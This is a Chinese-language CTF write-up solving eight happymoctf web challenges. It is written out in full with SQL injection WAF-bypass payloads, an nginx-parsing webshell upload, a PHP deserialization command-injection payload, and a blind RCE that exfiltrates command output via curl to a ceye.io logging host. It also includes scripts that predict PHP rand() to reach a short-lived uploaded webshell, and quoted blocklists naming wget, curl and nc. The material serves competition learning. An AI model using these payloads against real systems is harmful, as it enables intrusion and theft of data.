happymoctf有的環境還在,寫一下wp。
比賽地址:http://happy.moctf.com/,有點騷。
0x01 是時候讓你手指鍛煉一下了(題目地址:http://120.78.57.208:6003/web1)
鍛煉完有驚喜哦,就看你能不能找到了
http://120.78.57.208:6003/web1/
一道簡單的js題,源碼:
var clicks = 0 $(function() {
$("#cookie").mousedown(function() {
$(this).width('350px').height('350px');
}).mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if (clicks >= 108000) {
var form = $('<form action="" method="get">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>');
$('body').append(form);
form.submit();
}
});
});
通過get方式給參數clicks賦值大于或者等于108000即可getflag。
0x02 ez Injection(題目地址:http://120.78.57.208:6002/)
一起來扣扣扣扣飛車飛車?
http://120.78.57.208:6002
如題,簡單的注入,由?id=1'#
確定注入點,隨手測一下waf。
測試得知and,&&,||,(,),+,%20
被waf攔截,空格被過濾可以/**/,%0a
代替,但是括號被攔截,大部分注入都無計可施,or,order,by,union
等沒被攔截,可以測一波union聯合查詢。
測試字段數:
?id=1%27order/**/by/**/4%23 發現有三個字段
使用union select
測試顯示的字段:
?id=1%27union/**/select/**/111,222,333%23
猜測關鍵字被過濾,雙寫可以繞過:
?id=1%27ununionion/**/selselectect/**/111,222,333%23
獲取數據(from,where也需要雙寫):
?id=-1%27ununionion/**/selselectect/**/111,schema_name,333/**/frfromom/**/information_schema.schemata/**/limit/**/0,1%23
庫:information_schema,mysql,performance_schema,sheldon
?id=-1%27ununionion/**/selselectect/**/111,table_name,333/**/frfromom/**/information_schema.tables/**/whwhereere/**/table_schema='sheldon'/**/limit/**/0,1%23
表:04ad5938eaf0efb6,qqflycar
?id=-1%27ununionion/**/selselectect/**/111,column_name,333/**/frfromom/**/information_schema.columns/**/whwhereere/**/table_name='04ad5938eaf0efb6'/**/limit/**/1,1%23
字段:name,value
?id=-1%27ununionion/**/selselectect/**/name,value,333/**/frfromom/**/04ad5938eaf0efb6/**/limit/**/0,1%23
內容:moctf{5o_easy_inj3cTi0n}
0x03 要認真(題目地址:http://119.29.170.143:6003/)
想要getshell嗎,前提是你要認真喲。
http://119.29.170.143:6003/
hint:
flag在/flag.txt
數據庫和網站不在同一服務器!放過脆弱的數據庫!
網站目錄如下:
通過測試可以發現list.php,show.php
可以進行顯錯注入,沒有任何過濾,可直接通過sqlmap跑管理員賬號:
sqlmap -u "http://119.29.170.143:6003/list.php?id=22" --hex -D cms -T cms_users -C username,password --dump
或者可通過union聯合查詢獲取管理員賬號(關鍵字需要hex):
list.php?id=-22) union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14%23
庫:cms
list.php?id=-22) union select 1,2,group_concat(unhex(hex(table_name))),4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables where unhex(hex(table_schema)) like 0x636d73%23
表:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
list.php?id=-22) union select 1,2,group_concat(unhex(hex(column_name))),4,5,6,7,8,9,10,11,12,13,14 from information_schema.columns where unhex(hex(table_name)) like 0x636d735f7573657273%23
列:userid,username,password
list.php?id=-22) union select 1,2,group_concat(username),4,5,6,7,8,group_concat(password),10,11,12,13,14 from cms_users%23
內容:admin 22feddcae8a2c6353c6476495939ae9c
還可以通過其他方式注入,如運算符盲注id=22^0,id=22^1
,時間盲注,xpath注入,具體不展開。
登陸后臺后,找到上傳點,發現只支持后綴名為bmp,gif,jpeg,jpg,png 的文件
,考慮解析漏洞,服務器為nginx。
寫入一句話改后綴為jpg后上傳,然后我們的木馬為
http://119.29.170.143:6003/attachment/201802/20180225115720_56.jpg/20180225115720_56.php
密碼:cc
連接后可以直接可以讀取/flag.txt獲取flag
0x04 PUBG(題目地址:http://120.78.57.208:6001/)
Winner Winenr,Chicken Dinner!!!
http://120.78.57.208:6001/
存在index.php.bak
:
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>機場大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你長時間沒動,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");
}
}
?>
發現class.php.bak:
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class//$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>
- 這里首先需要繞過
__wakeup()
函數,通過CVE-2016-7124
即可知道當序列化字符串中,如果表示對象屬性個數的值大于真實的屬性個數時就會跳過__wakeup的執行
。 - 對于
__destruct()
函數,只需要weapon
賦值為AWM
即可。 - 然后只要參數
bag
不是對象里面可訪問的方法(如nothing()函數),就會調用__call()
方法并賦值給參數method
。
所以接下來就是命令執行的事情了。這里雖然有waf,但是不繞過也是可以讀取到flag的,利用一些沒有禁用掉的命令即可。
序列化的腳本如下:
<?php
class sheldon
{
public $bag="win.php && pwd&& index";
//public $bag="win.php && find /app&& index";
//public $bag="win.php && sort /app/class/flag.php && index";
public $weapon="AWM";
}
$hh = new sheldon();
$yy = serialize($hh);
echo $yy;
?>
然后如果想要利用waf中禁用掉的命令,可以使用\,'',""
繞過。
可參考我的另一篇文章。
最后的payload需要經過urlencode再提交:
/index.php?LandIn=school&pubg=%4f%3a%37%3a%22%73%68%65%6c%64%6f%6e%22%3a%33%3a%7b%73%3a%33%3a%22%62%61%67%22%3b%73%3a%34%33%3a%22%77%69%6e%2e%70%68%70%20%26%26%20%73%6f%72%74%20%2f%61%70%70%2f%63%6c%61%73%73%2f%66%6c%61%67%2e%70%68%70%26%26%20%69%6e%64%65%78%22%3b%73%3a%36%3a%22%77%65%61%70%6f%6e%22%3b%73%3a%33%3a%22%41%57%4d%22%3b%7d
附上waf.php的代碼:
<?php
error_reporting(0);
function waf($values){
//$black = [];
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');
foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
}
}
?>
0x05 登錄一哈(題目地址:http://111.230.32.124:6001/)
登錄一下,你就知道。
http://111.230.32.124:6001/
hint:
開發人員用git管理過代碼
index.php的源碼:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION["username"] = $username;
header("Location:./index.php");
}
else if(isset($_SESSION["username"])){
echo '<h1>hello '.$_SESSION["username"].'</h1>';
}
else {
?>
flag.php的源碼:
<?php
session_start();
class MOCTF{
public $flag;
public $name;
function __destruct(){
$this->flag = "moctf{xxxxxxxxxxxxxxxxxxx}";
if($this->flag == $this->name){
echo "Wow,this is flag:".$this->flag;
}
}
}
環境已掛,本題考察session反序列化,引用可帶入序列化的知識點。可以參考一下這篇文章。
index.php中的$_session['username']可控,我們就能構造payload到session,然后訪問flag.php頁面就能觸發反序列化執行__destruct了。
構造序列化的代碼:
<?php
class MOCTF{
public $flag;
public $name;
}
$hh = new MOCTF();
$hh->name = &$hh->flag;
$yy = serialize($hh);
echo '|'.$yy;
?>
payload:
username=|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}
把payload提交給username參數后訪問flag.php即可拿到flag。
Wow,this is flag:moctf{ser1ali2e_h4ndler_1s_c00l}
0x06 ping一下好嗎(題目地址:http://139.199.2.226:1234/)
讓你ping一下。
http://139.199.2.226:1234/
存在.exec.php.swp
,使用vim -r .exec.php.swp
修復:
<?php
// Get input
$target = $_REQUEST[ 'ip' ];
// var_dump($target);
$target=trim($target);
// var_dump($target);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'-' => '',
'(' => '',
')' => '',
'||' => '',
'python' => '',
'bash' => '',
'nc' =>''
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
var_dump($target);
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
// Feedback for the end user
if($cmd != NULL){
echo "exec success"."</br>";
}
?>
盲打RCE,無回顯,也不能反彈shell,借助DNS通道/HTTP通道來獲取命令執行后返回的數據。
推薦一個免費的平臺:http://cyce.io
,具體用法參考官網。
這里使用curl:
ip=|curl http://****.ceye.io/`whoami`
www-data
但是有的字符無法顯示或者導致只顯示部分信息,所以我們進行base64編碼:
ip=|curl http://****.ceye.io/`ls|base64`
Y3NzCmV4ZWMucGhwCmdoZGYucGhwCmluZGV4Lmh0bWwK
ip=|curl http://****.ceye.io/`cat ghfd.php|base64`
PD9waHAgJGZsYWc9Im1vY3Rme2RmYTEwZmYxYmQ5ODcyY2RhMWQ0MDhmMDdlYjY2Mzk0fSI7
解碼即可獲取flag。
<?php $flag="moctf{dfa10ff1bd9872cda1d408f07eb66394}";
0x07 字符串檢查(題目地址:http://111.230.32.124:6002/)
來檢查一下你的字符串是否格式良好吧!
http://111.230.32.124:6002/
hint:
要不試試其他格式的字符串?
application/xml
client-ip會告訴服務器你的ip嗎?
題目已掛。
題目考察blind xxe,參考文章:https://security.tencent.com/index.php/blog/msg/69
wp可參考http://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%E9%A2%98%E8%A7%A3/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A3%80%E6%9F%A5
0x08 簡單審計(題目地址:http://120.78.57.208:6005/)
代碼都給你了,還說不會做?
http://120.78.57.208:6005/
hint:
你可能需要個公網ip
直接給了源碼:
<?php
error_reporting(0);
include('config.php');
header("Content-type:text/html;charset=utf-8");
function get_rand_code($l = 6) {
$result = '';
while($l--) {
$result .= chr(rand(ord('a'), ord('z')));
}
return $result;
}
function test_rand_code() {
$ip=$_SERVER['REMOTE_ADDR'];
$code=get_rand_code();
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
@socket_connect($socket, $ip, 8888);
@socket_write($socket, $code.PHP_EOL);
@socket_close($socket);
die('test ok!');
}
function upload($filename, $content,$savepath) {
$AllowedExt = array('bmp','gif','jpeg','jpg','png');
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
die('error ext!');
}
$code=get_rand_code();
$finalname=$filename[0].'moctf'.$code.".".end($filename);
file_put_contents("$savepath".$finalname, $content);
usleep(3000000);
unlink("$savepath".$finalname);
die('upload over!');
}
$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
if(!is_dir($savepath)){
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if(isset($_GET['action']))
{
$act=$_GET['action'];
if($act==='upload')
{
$filename=$_POST['filename'];
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
$content=$_POST['content'];
waf($content);
upload($filename,$content,$savepath);
}
else if($act==='test')
{
test_rand_code();
}
}
else {
highlight_file('index.php');
}
?>
懶得寫了,貼一下官方解還有非預期解
官方解如下:
解釋一下題目的意思
根據action執行對應操作,action=test
會調用test_rand_code
函數發送tcp包到訪客的ip
action=upload
時會寫入一個文件,文件內容有waf攔截,文件名有白名單限制后綴,
然后拼接文件名加入rand的字符串,寫入文件,文件寫入后過3秒unlink刪除
有問題的點有這幾個
1.filename檢查是用$filename[count($filename)-1]
取的后綴,是按照下標取的,而寫入文件時用的是end($filename)
,是取最后一個元素,只要post時提交filename[1]=jpg&filename[0]=php
就能繞過了
2.$content的waf繞過, 繞過即可
3.使用rand()生成隨機數,可以被預測,參考https://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
預期解法是
1.username數組bypass后綴檢查,繞過content的waf
2.rand隨機數預測+爆破文件名 在unlink之前訪問shell
listen.py
#監聽8888端口,接受6個`get_rand_code`的結果,然后預測接下來一次`get_rand_code`的結果,這里可能不會很準確,
#所以需要小幅度爆破,復雜度大概為3^6,反正就跑著唄
#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
from socket import *
from time import ctime
import random
import itertools as its
import hashlib
r=req.session()
url="http://120.78.57.208:6005/"
def get_rand_list():
HOST = ''
PORT = 8888
BUFSIZ = 128
ADDR = (HOST, PORT)
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)
rand_num=0
l=[]
while True:
tcpCliSock, addr = tcpSerSock.accept()
while True:
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
data=data[0:6]
print data,l
for i in data:
l.append(ord(i)+1-ord('a'))
rand_num+=1
if rand_num==6:
break
tcpCliSock.close()
tcpSerSock.close()
return l
def get_salt(l):
salt=""
for i in range(6):
j=len(l)
r=(l[j-3]+l[j-31])-1
if r>26:
r-=26
#print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
l.append(r)
salt+=chr(r+ord('a')-1)
#print salt
return salt
def get_flag(salt):
s=hashlib.sha1('119.23.73.3').hexdigest()
url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
data={"a":"system('cat ../../flag.php');echo '666666';"}
r2=r.post(url1,data=data)
print salt
if '404' not in r2.text:
print r2.text
get_flag('aaaaaa')
l=get_rand_list()
salt=get_salt(l)
s=0
for i in range(100000):
s=s+1
print s
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])-int(s[j]))
get_flag(salt2)
words = "10"
o=its.product(words,repeat=6)
for i in o:
s="".join(i)
salt2=""
for j in range(6):
salt2+=chr(ord(salt[j])+int(s[j]))
get_flag(salt2)
put.py
#通過`?action=test`調用`test_rand_code`函數發送6次`get_rand_code`結果,一共36個字符,
#然后提交一個構造好的`?action=test`,上傳shell到服務器,在被刪除之前就會被listen爆破得到,沒爆破到就多爆破幾次
#!/usr/bin/env python
#-*- coding:utf-8 -*-
#by xishir
import requests as req
import re
r=req.session()
url="http://120.78.57.208:6005/?action="
def get_test():
url2=url+"test"
r1=r.get(url2)
print url2
print r1.text
def upload():
data={"filename[4]":"jpg",
"filename[2]":"jpg",
"filename[1]":"php",
"content":"<script language='php'>assert($_POST[a]);</script>",
"a":"system('cat ../../flag.php');"
}
url1=url+"upload"
r2=r.post(url1,data=data)
print r2.text
for i in range(6):
get_test()
upload()
$finalname=$filename[0].'moctf'.$code.".".end($filename);
末尾可控,所以構造
$filename= array('0'=> '1','2'=>'jpg','3'=>'php');
可直接越過了這個我們未知的文件夾,寫到了上層目錄中
1moctf111111.php/../sky.php
而目錄只需要sha1一下自己的vps的ip即可得知
$savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";
然后用vps的curl發請求
curl -d "filename[0]=1&filename[2]=jpg&filename[3]=php/../sky111.php&content[]=<?php system('cat ../../flag.php');?>" http://120.78.57.208:6005/?action=upload
訪問就可以拿到flag了。